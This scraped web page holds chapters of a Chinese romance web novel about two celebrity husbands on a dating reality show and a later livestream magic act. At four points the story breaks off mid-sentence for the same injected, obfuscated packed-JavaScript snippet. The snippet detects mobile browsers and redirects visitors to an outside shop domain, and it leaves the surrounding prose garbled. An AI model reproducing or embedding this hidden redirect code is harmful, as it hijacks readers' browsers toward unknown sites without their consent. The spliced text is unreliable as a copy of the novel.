-好甜好甜好甜好甜,你俩互相分东西吃真的很顺手诶,江舟szd!! -有人的手不老实!老婆的腰我也想摸5555 -易哥有什么是我们不能听的!你看看你老婆耳朵都红了! 又喝了一整罐可乐,假装不经意实则特别仔细地重重擦了好几遍嘴唇的顾听舟,原本还在想事的脑子现在满脑子都是他和易淮江喝了同一罐饮料。 而且还是易拉罐! 这和……和间接接吻有什么区别! 顾听舟一路上脸都止不住发烫,但可乐是他自己拿错的,也是他自己一口气喝光的,易淮江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894985|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最多算个从犯,真要算起来,他自己才是最大的那个罪魁祸首。 大脑宕机的间隙,余光了瞥见一旁依然不动声色的易淮江,那点刚刚冒出点苗头的逃避心理又缓缓被暗戳戳的胜负欲给摁了回去。 理论上来说,他是主动的那个,他才应该是耍流氓的那个,易淮江这个被耍流氓的都没慌,他慌什么。 顾听舟稳了稳心神,努力说服自己,可悄悄呼出的气流拂过被揉擦得脆弱殷红的唇瓣,却又提醒着他什么似的激起一阵细密的电流。 * 下午的任务愈发艰巨,题目难度明显增加,千奇百怪的挑战不仅费时费力还格外考验思维能力,而散落在游乐园边边角角的各项游乐设施也同样拔高了通关要求,等到晚上6点餐厅开始供应晚餐时,三对嘉宾的收获都不怎么乐观。 这次顾听舟和易淮江反而是最早到达餐厅的。等到VIP专属的豪华大餐上齐后,餐厅门前的迎客铃也终于响起。 傅乐天和许黎是剩下两组中最先回来的一对。餐厅中满是美食的香气,把本就体力耗尽的两人勾得眼睛都亮了下,可很快又黯淡下去。 今早出发前导演组明确规定过VIP组享受的待遇不可以分享给他们,为的就是强调不同组之间的对比,记录不同境遇下几对情侣之间的不同状态。 傅乐天咽了咽口水,拉着许黎找了张靠近他俩的桌子坐下。节目组不让吃,那闻闻总没问题了吧,他目光止不住地往满桌香喷喷的美食上飘,满目心痛却又强忍着馋虫和顾听舟搭话闲聊。 “舟哥,你和易哥去哪儿玩了?我们一整天下来都没看见过你俩。” 顾听舟颔首:“我们有观光车,干脆就开得远了点。东南方的射击馆还不错,有空你们可以试试。” 傅乐天实名羡慕,哭唧唧地往许黎肩头一倒:“我们俩这一天说是玩游戏,还不如说是游戏玩我们,那些挑战难的我俩简直毫无招架之力。”说着又伸手抱住了许黎的腰,叹气道,“一整个下午我们俩就拿到一枚奖章。好多题的题目我都没听过,更别说解题了。” “我们也是。” 说话间,边竹和邓秉述也走进了餐厅,邓秉述接过话茬,抬手拍了拍傅乐天的肩,也拉着边竹在附近坐下:“题目太难,我们也只拿到了两枚奖章。今晚注定只能望梅止渴了。” 边竹环着他的胳膊坐下,看向傅乐天问:“你们有几枚奖章?” “比你们还少,就一枚。” 边竹想了想,从口袋里摸出自己队伍里的两枚奖章放在桌上:“加上刚好三枚,要不我们换一份分着吃?” 三枚宝石奖章只能换一组人的晚餐份额,也就是两人份。虽说给四个人分吃不饱,但总比跑了一天还要饿肚子强。 许黎原本黯淡的眼睛再次亮起,当即把自己手里仅剩的一枚奖章也放到了桌上,点头道:“我觉得可以。” “我觉得不太可以。” 一道清越的声音忽然在几人头顶响起,语气里带着狡黠的笑意。 顾听舟不知什么时候走到了四人桌边,抬手间,掌心的三枚奖章轻轻滚落在了桌上一角:“我和易淮江今天能享受到的VIP待遇离不开大家的付出,这些就当做是我们的回礼吧。” 32.拍摄结束 -上午骂人的黑子呢?有本事骂有本事现在滚出来道歉啊 -啊啊啊啊啊这一下的安全感真的苏爆了好吗 -所以他故意去做那些挑战是为了其他队的人赚饭票!!麻麻就知道我们舟舟是个乖宝宝 -易哥我有点不识好歹了,我们打一架吧(撸袖子) -前面的冷静,易哥那个枪法你打不过的!! -我不行了这个我是真喜欢,我也想有帅哥从天而降给我兜底 -(点烟)我现在去趟棒子国还来得及吗…… 空荡荡的桌上,六枚宝石奖章在灯光下熠熠生辉,尤其是那从天而降的三枚,简直要闪瞎桌前四人的眼睛。 傅乐天呆了:“舟哥,你们怎么也有奖章?” 顾听舟回到自己桌前坐下,落在可乐上的手顿了顿又转到另一侧挑了罐雪碧。 “很简单啊,VIP就比你们多一个徽章,我和易淮江玩的地方又偏,进门前把徽章一摘,谁记得我俩是不是VIP。” 顾听舟说的轻松,可另外四人心中却是百感交集。 VIP的奖励是顾听舟和易淮江两人自己赢来的,他们在其中的贡献微乎其微,又有导演组设置的规则,顾听舟和易淮江完全可以不管他们,坐着游览车把整个游乐园玩一遍都不是问题。 他们自己也跑了一天,碰见的挑战题目各有各的头疼,可顾听舟两人却还能在有VIP特权的情况下放弃特权帮他们做任务,换谁能不感动? 傅乐天和顾听舟关系最熟,率先长嚎一声:“舟哥……不,爸爸!受我一拜!” 顾听舟被他嚎得一震,当即抬手喊停了他略显浮夸的演技:“别,我可没有年纪跟我一样大的儿子,太吓人了。” 他拎着已经打开了的雪碧喝了口,见几人都还想再说什么,当即摆了摆手:“吃饭吧吃饭吧,你们再不去点菜我和易淮江都不好意思开吃了,总觉得对不起你们。” 他语气轻松,显然没把这随手帮下的忙放在心里,但另外几人看向他的眼神中却都不由自主地露出了几分感激。 顾听舟的热度的讨论度在圈内乃至全网都是一等一的高,夸他的不少,可骂他的更多。他们虽然也偶有听闻,但真真假假的消息混在一起,难免对顾听舟有些先入为主。也直到今天才真正确认自己之前听说过的传闻有多么离谱。 顾老师的脾气明明很好,只有在面对易老师的时候才会总是一副被气到不行的样子,但他俩可是合法夫夫,虽说天天生气,但不也照样天天黏在一块儿说小话,说不定只是人夫夫俩的小/情/趣呢? 吃完了晚饭,时间也在不知不觉中来到了晚上7点。 夜幕下,漂亮童趣的游乐园中也适时地亮起了彩灯,五颜六色的霓虹灯光把本就吸引眼球的各个大型游玩设施映衬得愈发光彩夺目,也照亮了几人离开的路。 一整天的游玩实在是耗费精力,回到小洋楼后,顾听舟先一步占住了浴室,热腾腾洗完澡躺到床上时,只觉得浑身的骨头都软得不想再挪动一下。 虽说有观光车代替赶路,可为了减少遇到类似指压板这种精神折磨类挑战的概率,他选的游乐项目都是射击、攀岩这样的体力运动,相应的对体力花费要求也就更大,他几乎都能想象到接下来几天自己伸懒腰都费劲的样子了。 顾听舟撑着床翻了个身,勉强把自己挪回到自己那半边床上趴着后便就地咸鱼了,连被子都懒得扯一角盖住自己。 过了不知道多久,卧室门终于再次响起,顾听舟半边脸埋在枕头里,半边脸朝着窗户,只能靠听觉辨别易淮江应该是关上了门,正从门口的位置往床前走。 小小挣扎了一下要不要再翻个身起码让自己脸朝上,但最终还是还是被酸软的肩胛骨和腰椎摁回了柔软的床垫上。 完全不想动弹。 易淮江看不惯就看不惯吧,他眼睛一闭直接装睡还有谁能拿他怎么办? 随着沉缓的脚步声渐渐靠近,最终停在身后极近的距离,顾听舟闭上了眼,已经做好了左耳朵进右耳朵出,随便易淮江怎么说他躺得没规没矩、乱七八糟,可闭着眼睛等了半晌,却并没有等到熟悉的挑刺声响起,反而是一只略有些温热的手落在了他的脊背正中,趁他不备又缓缓移到腰间,不轻不重地一按却仿佛点到了麻筋似的让人瞬间一软。 顾听舟头皮一麻,下意识绷紧了脊背,皱着眉刚要起身,却后知后觉地想起易淮江刚洗完澡,手热是正常的,于是又卸了劲趴了回去,只是反手捉住了那只作乱的手。 “还能动吗?” “打一架绰绰有余。”顾听舟皱着眉丢开他的手,缓了缓劲后终于翻过身,防备地扯了扯被子盖住自己。 成功唤醒了某条试图装睡的咸鱼,易淮江也没再动手,微微垂眸看向了他的眼睛:“你昨晚就想好了?” 听着像是问句,可话语间却没什么疑问,更像是陈述。顾听舟仰头看他,这人显然已经猜出来了,他也就没什么好隐瞒的:“我不是一直都这样?” 记仇、小气、不肯吃亏。 他理直气壮,也从不觉得这是缺点。 “本来也没说过食物不能外带,节目组临时修改规则被嘉宾找到漏洞试图利用,明明是很正常的事情。”顾听舟挑了挑眉,语气中显而易见的忿忿,就这点报复程度实在算不上什么,“谁让他非要搞连坐和道德绑架。” 他睨了眼站在床边的易淮江,冷哼了声:“你要是觉得那些人没错,最好是现在就给我闭嘴。” “我要是觉得你有问题,下午就不会陪着你拿另外两枚奖章。”易淮江提醒道。 顾听舟不喜欢被人威胁,简单来说就是吃软不吃硬。节目组昨晚拦人在先,后来又言语挑拨,试图拿作为奖励发放的VIP待遇威胁他们做那个“出卖”同行嘉宾的人,显而易见地惹到了这位祖宗。 所以顾听舟今天才会特地拉着他钻游戏漏洞,又在最后导演组的设计差点得逞的时候忽然跳出来帮另外四人解决了晚饭问题。 虽然没有明说,但他已经用行动表示了对节目组的抗议。 节目组自然可以继续临时制定规则强行增加冲突影响嘉宾之间的关系,他也同样可以继续让节目组的算盘落空。 易淮江看在眼里,心里的想法却和顾听舟所猜的大相径庭。 顾听舟确实是在故意和节目组作对,但从小到大,他和易淮江作对,互相给对方使绊子的小动作还少了? 这副受不得一点气的骄矜嚣张样反而和易淮江记忆中熟悉的小霸王重合了许多,只不过小时候顾听舟做的只会比现在更加明目张胆。 可抛开泄愤这层目的不谈,顾听舟是真的把那几个和他关系还算不错的嘉宾当成了说的上话的朋友,他的所作所为也是真的抱着顺手帮他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900226|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一把的想法。 除了之前在剧组见过面的傅乐天,另外三人和顾听舟认识也不过才短短几天的时间。 易淮江瞥了眼自己被嫌弃丢开的手:“你们关系还挺好。” “顺手而已。”顾听舟理所当然地点点头,“嫉妒我人缘好可以直说。” 直到关了灯,顾听舟才隐隐约约察觉出点不对劲,扭头看向已经半晌没说话的易淮江。 卧室里的窗帘留了道窄窄的缝,淡淡的月光从这点空隙中落入卧室,不亮,却也足够冲淡几分阴霾。 顾听舟看不太清身侧的人到底睡没睡,于是视线循着那道薄薄的月光落在窗畔,恍然间和几天前的梦境重合。 他无意识地盯着那道光发了好一会儿的呆,直到一只大掌带着凉意忽然盖住了他的眼睛。 “终于想起爸爸了?”顾听舟没动,故意呛他。 “睡觉。” 顾听舟撇了撇嘴,见他像是正常了便没再多管,闭上眼酝酿睡意。 易淮江睁开了许久的眼睛静静凝视着那张被自己的手盖住了大半的脸,眸光沉沉。 比起傅乐天那些人,他和顾听舟才是彼此认识最久的那一个。既然他们可以和顾听舟成为朋友,那他是不是也可以? * 镜头外,《恋百》的导演没多久就收到了顾听舟和易淮江两位经纪人的来电,话里话外虽然没有明说,却也少不了几分敲打。 于是在后几天的拍摄中,节目组准备的游戏肉眼可见的正常了许多。要么是根据线索在限定范围内找道具,要么就是根据照片找到相应景点打卡拍照,六位嘉宾说说笑笑,氛围倒是比之前更加欢乐温馨。 三对情侣各有各的嗑点,六个人性格各不相同,但品行看着都不错,一起做任务时也会互帮互助,直播间里奔着嗑糖来的的粉丝们显然也对这种状态十分满意。 一眨眼,七天的拍摄时间便来到了尾声,在一场由节目组专门准备的盛大豪华的宴会结束后,三对情侣回了各自的住所收拾行李。 离开童话小镇的大巴上,重新拿到手机的嘉宾也纷纷交换了联系方式。 直到拖着行李箱走出机场,顾听舟才终于在熟悉的环境下有了一丝回归现实的真实感,一转头,就看见了威廉。 “拍摄怎么样,没受伤吧?有没有人欺负你?节目组那边我当天就给他们打电话了,后来应该也没再搞什么幺蛾子吧?”威廉围着他打量了一圈后终于勉强放下了心。 顾听舟把行李箱塞他手里:“谁敢欺负我,从来就只有我欺负别人的份好不好?” “我留在易淮江那的东西你帮我收拾了没?一整箱的玩偶,我家都快被你搬空了。”顾听舟伸了个懒腰,迈步朝车上走去,“总算是拍完了,明天开始没事别随便打我电话,我要先在家里睡他个三……” 随着车门打开,顾听舟骤然和车里的人对上了视线,没说完的话骤然哽在了嘴边,顾听舟下意识后退两步,确认这的确是自己的保姆车后,扭头看向了自己的经纪人 “那个……舟舟啊……”威廉刚收拾完行李箱,一抬头就对上了自家祖宗杀气腾腾的眼神,“我本来是要跟你说来着的……结果那什么,刚刚不小心忘了……” 顾听舟眯了眯眼睛,指着车上那个才和他一起拍了七天综艺的易某人,语气不善:“你要不先解释一下这人是从哪儿来的?” 33.躺枪威廉 易淮江提醒两人:“先上车说。” 顾听舟毫不客气地瞪了他一眼,没好气道:“没你的事,不然连你一块骂。” 威廉深知自家祖宗一点也不好糊弄,一句两句也解释不清楚,干脆先道:“对对,咱们先上车,不然待会儿又要被狗仔拍到了。” 威廉半推半哄地推着顾听舟上了车,关门落锁的动作一气呵成,接着一转头,对上了顾听舟双手抱臂一副“你不说清楚我绝对不可能配合”的架势,这才弱弱交代道:“是公司前几天刚签下了青柠直播平台的合作,青柠那边希望你能来负责第一场直播。” 威廉用手比划了个数字八:“只播一场,出场费就给八百万,税后,而且还不算直播时候的打赏礼物,你就坐在手机前面和粉丝们聊聊天,和弹幕互动一会儿,把时长水满就行。你看你拍综艺这么久,也没法发微博,就当是发点粉丝福利。” 顾听舟抱臂靠在座椅上,朝着易淮江的座位扬了扬下巴:“那和他又有什么关系?” 威廉略有些心虚磨了磨鼻尖:“你也知道,易老师之前也是木星娱乐的艺人,白哥听说你有直播安排,时间又刚好在今晚,就问我能不能带上易老师一块……顺便营个业。” 顾听舟捏了捏自己的鼻梁,易淮江都已经出现在他车上了,那答案也就非常显而易见了。 “我们和《恋百》那边联系过了,直播刚好在正片上线前结束,节目组那边白得一个直播宣传,完全没意见。”威廉观察了一下顾听舟的脸色,飞快压低了声在他耳边小声道,“但是只有我们是正经签合同的,他算是给你算打白工。” 顾听舟挑了下眉,半信半疑:“青柠不知道他也要出镜?” 原本他一人出镜就足够交差公司安排的直播,现在还要额外加上一个易淮江,以他俩的咖位,正常情况下青柠那边收到消息肯定会联系白哥给易淮江也分点好处,结果就这么光明正大地让易淮江打白工? “那不是……”威廉咳了两声,小声道,“你俩结婚了嘛,易影帝又基本不管拍戏以外的活动……青柠那边估计也知道自己请不到他,干脆也装傻没提给钱的事,不过后来正式签的合同上把咱们今晚这场直播的礼物分成提到了八二。” 顾听舟:“……” 还能这么算? 公司安排的工作,就算是顾听舟本人也不好随便推掉,最终还是点了点头,勉为其难地应下了这份差事。 * 晚上八点,万华湾。 鉴于上次综艺已经在易淮江家里拍了,这次直播毫无疑问只能在他家播。设想很完美,但问题在于易淮江家住郊区,刚好跟机场一个天南一个海北,等几人一路卡着红绿灯到达目的地时,已经是晚上七点多。威廉和白朝彩干脆就跟着他们上了楼,负责准备直播的相关事宜。 赶着时间洗漱完换了衣服,顾听舟点的外卖也刚好按响了门铃,他自己拿了一份,把另一份丢到了威廉怀里:“你俩自己看着分。” 八点整,直播准时开始。 顾听舟一手捧着个刚啃了两口的汉堡,一手在手机上摸索着操作,脸凑得极近,按下开始直播的按钮后,跳转界面没抗住卡了一下,紧接着就被五彩斑斓的弹幕糊了满屏。 “等等等等,怎么这么卡……大家先不急着发弹幕,让我先看一下这玩意怎么弄。” -啊啊啊舟舟!妈妈好想你! -不用动!等一会儿就好了 -好漂亮的脸蛋我亲亲亲亲亲 -宝贝你老公呢 -卡成PPT了怎么还能这么好看 -好白的衣领(bushi) 顾听舟凑近了看屏幕上按键下标的小字,没找到想要的选项,一抬眼就撞上了“老公”两个字,视线没来由飘了下,这才看见其他人发的直播教程。 等了大概六七秒后,屏幕上一顿一顿的画面终于恢复正常。 卧室里的摄像头在综艺拍摄头天就由白朝彩带着工作人员拆走了,顾听舟调整了一下手机的固定角度,确保镜头里能够容下两个人后,这才松开了手看向不断飞过的弹幕。 “能听见我的声音吗?听得到的话弹幕扣个1。” 紧接着弹幕上齐刷刷飞过一片五颜六色的1,顾听舟确认没问题后这才坐回了椅子上,拿过桌头的可乐喝了一口:“今天是双人直播,另一个人还在忙,应该很快就能过来。” 看到有弹幕问他会播多久,顾听舟便补充道:“不会播很久,大概到九点就会结束。” “汉堡?”顾听舟看到有人问,这才想起来低头又咬了一口,“不是广告,我和易淮江都没接它家的广告,噢对等我把logo藏一下。是我们回来的比较晚,还没来得及吃饭。” “减肥?我胖吗?”顾听舟当即坐直了身子凑近,对着镜头伸手捏了捏自己的脸,惹得弹幕齐刷刷喊可爱。 顾听舟:“……”难道不应该夸他帅吗,为什么是可爱? “虽然这话听起来有点凡尔赛,但我确实吃不胖,所以饮食方面威廉不怎么管我。”顾听舟说到这,得意洋洋地勾了勾唇角,张嘴又咬下一口汉堡,余光一瞥就看见直播间忽然亮起了礼物特效,紧接着一条格外亮眼的彩色弹幕带着豪华的氪金特效挂在了直播间头顶。 【易哥也不管吗?他那么养生居然没逼你一起】 “易淮江?”顾听舟往椅背上一靠,想也不想道,“就他还想管到我头上来?” 异想天开。 “嗯,管不了。” 熟悉的冷淡嗓音忽然从背后响起,吓得顾听舟下意识抬手往后给了他一下。 不知道什么时候进来的易淮江动作娴熟地拦下他半道反应过来卸了力的胳膊,右手扶在他肩头漫不经心地理了理他的睡袍,视线落在瞬间被弹幕挡得严严实实的手机。 手机支在桌头,刚好框进坐在椅子上的顾听舟的上半身,易淮江站在他背后,只看得见他的半边身子,连脸都还没入镜,光是一句话和几个动作,就已经快把直播间里的粉丝们点燃了。 -小气!就漏了一丢丢锁骨还不让人看!你有老婆了不起是吧 -易哥你终于出现了!! -快坐下快坐下,我已经准备好截图了 易淮江在那把临时从书房里搬出来的椅子上坐下,把面前的可乐往顾听舟那边挪了挪:“你先吃,我回弹幕。” 有人愿意代班顾听舟当然不可能拒绝,一手拿着汉堡一手拿着可乐吃得不亦乐乎。 但相处久了,连顾听舟都差点忘了,易淮江这货在面对除他以外的人时有多么的言简意赅了。易淮江不紧不慢,回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907670|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题也简明扼要地不行,气质一如既往的又装又冷。 直播间里的弹幕和礼物刷得飞快,因为礼物的分成还有直播平台的份,顾听舟没法关掉,只能在啃汉堡的间隙抽空插嘴:“少刷点礼物,刷了平台也还要抽成的,你们还不如留着给自己多买点好吃的。” 他一开口,原本还因为聊天主力是易淮江所以收敛了不少的小纸船们瞬间斗志昂扬,也跟着刷起了礼物,直播间里的礼物特效一闪一闪就没停过。 -不行,纸船们的牌面不能输! -江舟szd江舟szd江舟szd -前面的别跑,舟哥家庭帝位没看出来吗,明明就是舟江 -家庭帝位一般都是老婆好吗(江舟) -你舟哥姓顾!十顾九1铁律不能倒下!(舟江) -高冷VS傲娇,我赌一根辣条,江舟 -两根辣条,舟江 -CP粉要吵架能不能私聊,烦死了 易淮江自然也注意到了不太和谐的几条弹幕,皱了皱眉,沉声道:“别吵架。” 他脸色本来就冷,眉心微蹙时更显得严肃,原本硝烟弥漫一触即发的弹幕被他一句话喊了停,虽然算是截住了吵架的苗头,但直播间里也霎时冷了不少,气氛也变得有些怪异。 服了。 顾听舟三两口解决完剩下的汉堡,又喝了一大口可乐,抬手把垃圾丢进垃圾桶里,接着起身从桌上的袋子里掏出了另一份汉堡和可乐塞进易淮江手里,低声赶人:“吃你的饭去。” 顾听舟坐回椅子上,见易淮江看着手里的汉堡可乐没动,又抬脚往他椅腿上踹了一脚,这才转过头看向手机:“我记得《恋爱百分百》的第一期正片是今晚上线对吧?” 弹幕里齐刷刷飘过一片“对”,还有不少人提醒他是今晚九点半,试图让他多播一会儿。 顾听舟弯了弯眼睛:“那还是算了,播太久我怕导演大半夜打电话过来哭诉,毕竟你们都在我直播间里的话,正片上线就没人看了。” “这样吧。”顾听舟伸手从抽屉里摸出一盒提前准备好的扑克牌,“为了我最近没有更新的微博,今天给你们表演个小魔术作为补偿,下次我一定记得提前设置好定时微博。” 顾听舟把镜头往他那边挪了挪:“你先做会儿吃播,我准备一下。” 易淮江手里的汉堡才咬了个边,直播间的镜头正对着他,他的眼神却好奇地落在镜头外正在准备魔术的顾听舟身上,弹幕也慢慢活跃了起来,尤其是CP粉,连发弹幕都自觉换上了粉色,一串接一串的“yoooooo~”不停从屏幕上划过。 顾听舟本来也没打算真的只聊天,平时微博上回回评论聊的也不少,今天开直播,少不了有粉丝为他们砸礼物,易淮江那群是事业粉,只要他电影拍得好就万事大吉,他家这群小姑娘花钱也是一等一的猛,他拍戏成绩没易淮江好,那就只好从别的地方多给她们发发福利了。 纸牌是和外卖一起外送来的,顾听舟站在镜头外,有条不紊地拆了包装,然后收拾着各种花色的纸牌。 易淮江喝了口可乐,垂眸间还听见他小声嘟嚷:“幸好威廉也在,不然到时候得收拾到什么时候去。” 易淮江不着痕迹地压了压眼尾。 他不是还在这,找威廉干什么? 34.红心纸牌 收拾完纸牌,顾听舟又调整了一下手机的角度,确保站着的时候自己上半身能够完整入镜,满意地点了点头后,又扭头打量起了坐在一旁的易淮江。 易淮江感受到他的目光,抬头看他:“需要帮忙?” “单人魔术,用不上你。”顾听舟摇头拒绝,“不过确实还缺一样东西。” 易淮江:“?” 顾听舟一手搭在了他的椅背,理直气壮地朝他伸出另一只手:“我手机拿去直播了,只能勉为其难临时征用一下你的了。” 易淮江无语,但也没有拒绝,指纹解开了手机递给他。 条件有限,易淮江的手机临时充当起了音响,顾听舟看着弹幕上的催促弯了弯眼尾:“准备好了吗?” 话音落下,极具节奏感的音乐声冷不丁响起,容貌昳丽的青年带着几分漫不经心的笑意,配合着前奏微微弯腰凑近镜头,食指贴在唇瓣上比出一个“嘘声”的动作。 双手随着后退的动作在镜头外一晃而过,随着音乐渐进节点处的一句“turn it up”,律动感极强的鼓点并入音轨,镜头前那双修长白皙的手随着鼓点的节拍不断在镜头前交替向前,凭空变出一张又一张的纸牌,顾听舟眼尾微挑,在变牌的间隙顺手挑出一张方片Q叼在了齿间,两只手上的纸牌源源不断地出现,又被他无情地丢落在地。 前奏不长,随着歌词响起的一瞬,顾听舟手腕一翻,原本已经把牌丢空的手上又奇迹般各自展开一副牌,扇面似的在顾听舟靠近镜头时再次被无情撒落。 顾听舟齿尖还叼着那张方片Q,在微微弯腰靠近时顺便眨眼做了个wink,引得直播间中又是一阵汹涌的弹幕潮。方片Q被不慌不忙地取下,顾听舟闪身退出镜头,只留拿着纸牌的手在镜头中打招呼似的晃了两下,紧接着手腕一晃一翻,方片Q在他手中消失又出现。 顾听舟再次出现在镜头中,噙着点得意的轻笑把那张本就漂亮到不行的脸衬得愈发耀眼,耳垂处的两枚耳环也随着动作轻轻荡起弧度。 背在身后的右手抬起,优雅地行了个绅士礼后,顾听舟做了个简单的起手式,再用左手挡在右手前,正当粉丝们以为他又要变牌时,藏在后面的右手虚晃一招,用食指拇指捏了个爱心,在镜头前招摇地晃了晃。 被调动起情绪满心期待的观众们这才惊觉上当,刚准备发弹幕回应,音乐却再次变化,踩着新加入的鼓掌声,顾听舟一秒正经,接连变出了另外三张皇后牌,四张不同花色的皇后牌在手中被均匀展成扇面,又在两只手一齐盖住它们贴近心口的刹那间消失不见。 弹幕再次炸了锅似的齐刷刷发出惊叹,顾听舟脸上的笑意愈盛,眼中的得意也毫不遮掩。 随着音乐节奏的起伏变化,顾听舟简直把手里的一副牌玩出了花,源源不断似的在他手中出现又消失,随着那双好看的手呈现出各种效果。 几分钟的魔术表演仿佛一眨眼便来到尾声,在音乐即将结束前,顾听舟重新变出了一摞牌,并且在镜头前简单展示了一圈。 清一色的红心。 顾听舟伸指在手中的牌面上弹了两下,紧接着再次将它们展示给了镜头,音乐声恰好在此时消失,清越的嗓音带着笑意响起:“有人看出什么问题了吗?” -可以变钱吗 -是不是少了几张 -易哥看得好认真 -这些牌到底藏哪了我的天 -A没了!2也没了! -55555 -有人偷偷盯了半天老婆,他那个位置都看不见牌面吧,看那么认真到底在看谁呢好难猜啊 -完了我也根本没看牌,全程看脸 -问题很大,已经把我钓成翘嘴了 -我看不过来了,下一个 弹幕里认真回答问题的观众不在少数,但更多的已经被这张脸迷得晕头转向,完全观察不出他手里的牌有什么问题了。 顾听舟举着手里那叠牌转向易淮江:“你呢?能看清吗。”他手里的可是最简单的同花顺,除非易淮江此刻就地眼瞎,不然只能顺着他安排的答案说。 易淮江的视线在他脸上顿了两秒,这才垂眸看向那副牌:“A,2和……5?少了三张牌。” 顾听舟点点头,手里的牌重新面向镜头晃了晃:“现在能看出来少了哪几张了吧?” 弹幕十分配合地回答着“看出来了”,等待着他的下一步。 顾听舟将缺了牌的同花顺换到右手,空出来的左手在镜头前正反展示了一下,同时提示道:“我手上是空的对吧。” 弹幕齐刷刷飘过“是空的”、“对”,顾听舟用左手在易淮江面前打了个响指,摊开手在他面前翻了个面,手心朝上:“怎么说?” 易淮江有些意外,但也配合着点头确认:“空的。” 顾听舟随即合拢握拳,故作神秘道:“现在少了的三张牌已经在我的这只手上了。”他把拳头伸到易淮江面前,“信不信?” 易淮江十分不给面子地摇头:“不信。”毕竟几秒前他才检查过,顾听舟没可能在他眼皮子底下藏牌。 “嘁。”顾听舟挑了挑眉,“要是我真的能变出来呢?” 易淮江戳破他:“想赌什么?” 顾听舟瞥了眼还在直播的手机:“这样吧,我要是变出来了,你就买一本《说话的艺术》通读全文,要有阅读痕迹,看完我还要检查笔记,怎么样?”就当是治一治这人能毒死人的嘴。 弹幕十分应景的附和着,甚至还有不少昵称一眼就能看出是易淮江粉丝的账号也跟着刷起了队形。顾听舟没忍住又看了两眼,啧,看看,他就说易淮江这张嘴确实该治了,连他的粉丝都倒戈到他这边来了。 “没问题。”易淮江点点头,“那要是你输了呢?” “不可能。不过为了公平起见,你可以自己想一个惩罚。” 易淮江反问:“什么要求都可以?” “当然。”顾听舟想也不想道,“违法乱纪的不行。” 易淮江眼底划过一抹促狭,意味深长:“放心,合法。” -嗯,合法,领了证的当然合法 -我在床底让我听听! -有什么是我们不能听的,说!大胆说! -易哥你怎么能吃独食! 顾听舟听着这话总觉得哪里怪怪的,余光中瞥见屏幕上一致默契变成黄色字体的弹幕,没忍住“嘶”了声。 这群小姑娘怎么……变色变得这么无缝衔接的吗? 顾听舟瞪了某位把话题带跑偏的罪魁祸首一眼,把拳头举到他眼前:“吹口气。” 易淮江将信将疑地按他说的做,就见顾听舟煞有介事地晃了晃左手,然后缓缓打开,易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916072|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淮江垂眸盯着,依旧无事发生。 顾听舟手心向上,问:“能看到吗?” 易淮江:“还是空的。” 顾听舟啧了声,反驳道:“那是你看不到。”紧接着便用手掌在易淮江眼前从下往上扫了一下,下一秒,落在眼前的手上就多了一张红心5,手指再在牌面上一转,红心5、红心2和红心A便齐齐出现在了他的手上。 顾听舟把那三张牌塞给他,笑得像只偷了腥的小狐狸,眉眼弯弯又带着独属于他的那股子骄矜:“都说了我不可能输。” 顾听舟把自己的椅子拉回来重新坐下,果不其然,弹幕上的CP粉都在狂欢,看样子他营业得还挺成功。 可仔细一看,顾听舟却懵了,直播间里的人数不知道什么时候创下了新高,目前直播间有一千两百万在线观看的网友,比他变魔术前多了将近三百万的人。 “威廉你是不是买推流了?”顾听舟没忍住皱了皱眉。 威廉的账号就在他直播间里挂着管理,闻言万分无辜地回了条“我不是我没有不要冤枉我”的弹幕。 弹幕先是被他俩的一问一答哈哈哈笑倒了一片,然后才有人断断续续解释起自己是从别的直播间被吸引过来的,关键不少人都跟对暗号似的,一通解释下来,顾听舟只能看出来这群在他变魔术期间被吸引来的网友都是同一个直播间里跑来的。 还挺惨。 不过直播就是各凭本事,观众们自己长了腿,就算是他也做不到留下所有路过的观众,顾听舟对此也没什么想法。 直到易淮江把手机在桌子底下递了过来。 顾听舟余光一瞟就看见了一张熟悉到比易淮江还讨厌的脸。 常嘉月? 她竟然也在直播? 